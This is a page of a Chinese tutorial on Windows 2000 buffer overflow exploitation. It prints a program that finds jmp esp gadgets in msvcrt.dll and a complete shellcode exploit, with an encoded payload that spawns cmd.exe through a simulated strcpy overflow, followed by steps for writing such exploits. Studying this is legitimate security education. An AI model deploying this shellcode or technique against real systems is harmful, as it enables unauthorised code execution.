正 文

Windows 2000缓冲区溢出技术原理


www.7dspace.com  更新日期:2006-1-24 5:20:09  七度空间


  jmp esp指令地址是通过下面这个简单的程序找到的:

#include "stdafx.h"
#include "find.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// The one and only application object

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
 int nRetCode = 0;

 // initialize MFC and print and error on failure
 if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
 {
  // TODO: change error code to suit your needs
  cerr << _T("Fatal Error: MFC initialization failed") << endl;
  nRetCode = 1;
 }
 else
 {
  #if 0
   return 0;
   __asm jmp esp
  #else
   bool we_loaded_it = false;
   HINSTANCE h;
   TCHAR dllname[] = _T("msvcrt");

   h = GetModuleHandle(dllname);
   if(h == NULL)
   {
    h = LoadLibrary(dllname);
    if(h == NULL)
    {
     cout<<"ERROR LOADING DLL: "<<dllname<<endl;
     return 1;
    }
    we_loaded_it = true;
   }

   BYTE* ptr = (BYTE*)h;
   bool done = false;
   for(int y = 0;!done;y++)
   {
    try
    {
     if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
     {
      int pos = (int)ptr + y;
      cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
     }
    }
    catch(...)
    {
     cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
     done = true;
    }
   }

  if(we_loaded_it) FreeLibrary(h);
  #endif
 }
 return nRetCode;
}

  在我的机器上找到的jmp esp代码在0x78024e02地址处,这样我们已经收集全了所有的信息:

  (溢出点,jmp esp代码地址,经过编码的ShellCode和解码ShellCode的子程序)

  Shellcode=溢出字串+jmp esp+解码子程序+code(编码后的)得到如下代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

char xcode[]="aaaaaaaaaabbdddd"
"\x02\x4e\x02\x78"//jmp esp 代码地址,不同机器不同动态连接库版本可能不一样
"\x8B\xC4\x83\xC0\x49\x80\x30\x99\x83\xC0"//解码子程序
"\x29\x80\x30\x99\x83\xC0\x2e\x80\x30\x99"
"\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9"//开启cmd.exe的程序(code)
"\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45"
"\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72"
"\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45"
"\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C"
"\xC6\x45\xFF\x99\x8D\x45\xF5\x50\xB9\x54"
"\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5"
"\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6"
"\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA"
"\x6D\xC6\x45\xFB\x99\x8D\x45\xF5\x50\x52"
"\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6"
"\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6"
"\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC"
"\x99\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04"
"\x8B\xE5\x5A\x59\x5D";

void overflow(void)
{
char buf[10];
strcpy(buf,xcode);//模拟溢出漏洞
}//end overflow

int main(void)
{
LoadLibrary("msvcrt.dll");//模拟受攻击应用程序引入的msvcrt.dll(这里只是模拟,有些漏洞程序并不引入这个库)
overflow();
return 0;
}//end main

  本程序在Windows 2000 Pro 5.00.2195 SP2下,由VC++ 6.0编译、调试、运行通过。

  小结:

  写一个溢出攻击测试程序需要以下步骤:

  1、发现并确定漏洞程序的溢出点

  2、找到jmp esp指令地址

  3、编写并优化Shellcode程序代码(C或Asm),如果必要在Shellcode头部加上编/解码程序(如本文所举的例子)

  4、调试、测试代码有效性,公布代码(如果不是很危险,否则可能会触犯法律)

  关于:

  程序设计是一门高度艺术化的技术,可现在很多人(程序员)却说"不需要会经典算法,不需要会数据结构,不需要会底层技术,我们做不了的可以让其它公司做,光使用VB.NET做开发,赚的钱就够我用的了..",我却要说这些人并不是真正的程序员,我非常崇拜XFocus的FlashSky以及 NSFocus的ipxodi、袁哥、小四哥等,他们中同样有很多人是非计算机专业的,可在我心目中他们才是高境界的程序员,我会努力的向他们学习,并不断的充实自己,希望在不久的将来我会成为中安网的FlashSky......!

  最后:

  进行溢出攻击要比本文描述的复杂很多(本文只是剖析溢出原理,在完全理解本文以后,你也可以试着练习练习),首先溢出点很难确定(计算),这需要你熟练使用反汇编工具和调试工具,并有大量的调试经验(看到某一段Asm代码马上就可以想像到它的C代码表示),还有ShellCode要写的不具有平台依赖性,也就是说它越通用越好 (当然你别指望为Windows写的ShellCode可以拿到Unix/Linux上使用,反之亦然),最好是将ShellCode里用到的函数全部都动态引入(用LoadLibrary和GetProcAddress函数,这也是我为什么在第二部分开启cmd.exe的程序里使用它们的原因,jmp esp代码地址同样是动态定位的)。

  此外,ShellCode的编/解码子程序同样重要,编写的好坏直接决定代码是否被完整执行,同样有很深的东西可以学习和研究。

5页,页码:[1] [2] [3] [4] [5] 

上一篇:利用API在Windows下创建进程和线程
下一篇:Eclipse Forms设计漂亮UI之简介
标题:Windows 2000缓冲区溢出技术原理 作者:i_like_cpp 来源:blog
收藏此页】【打印】【关闭
站 内 搜 索
 

热 点 导 读
特 别 推 荐